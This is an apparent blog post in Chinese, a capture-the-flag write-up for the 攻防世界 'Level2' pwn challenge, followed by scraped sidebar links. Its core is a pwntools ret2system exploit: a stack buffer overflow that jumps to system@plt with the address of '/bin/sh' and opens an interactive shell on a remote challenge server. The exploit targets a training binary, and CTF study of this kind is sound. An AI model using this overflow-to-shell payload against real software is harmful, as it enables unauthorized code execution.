当前位置:网站首页>PWN攻防世界Level2
PWN攻防世界Level2
2022-06-29 02:31:00 【Day-3】

首先,标准流程走一下。
运行一下。
放入IDA中。


编写exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("Level2")
system_plt_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
def main():
if content == 1:
day3 = process("Level2")
else:
day3 =remote("111.200.241.244",56811)
payload = b'a' * (0x88 + 4) + p32(system_plt_addr)
payload = payload + b'aaaa' + p32(bin_sh_addr)
day3.sendlineafter("Input:\n",payload)
day3.interactive()
main()


获得Flag。
边栏推荐
猜你喜欢

Some tests on complementary wasm environment

干货丨微服务架构是什么?有哪些优点和不足?

To apply for a test engineer after years, the resume with high scores should be written like this

Learning Tai Chi Maker - mqtt Chapter II (IX) test of this chapter

sql连续登录问题

What is Mipi

如何用项目甘特图,做好项目汇报

2022.02.15
![[untitled]](/img/36/2f9319e05157ab6a8dd5aa3bef4505.png)
[untitled]

Have you learned the common SQL interview questions on the short video platform?
随机推荐
Pyinstaller打包pikepdf失败的问题排查
String method exercise
Talk about the copyonwritearraylist of JUC
Quelques tests pour compléter l'environnement wasm
学习太极创客 — MQTT 第二章(九)本章测试
[redis] list type
mark
Wechat campaign auto like
Temperature conversion II
Prepare for the Blue Bridge Cup - double pointer, BFS
apache不解析PHP文件,直接显示源码
字符串输出
音响是如何把微弱声音放大呢
PHP XML expat parser
What is the dry goods microservice architecture? What are the advantages and disadvantages?
Download and installation of MySQL
如何用项目甘特图,做好项目汇报
Has Moore's law come to an end?
Koa quick start
QT basics tutorial: qstringlist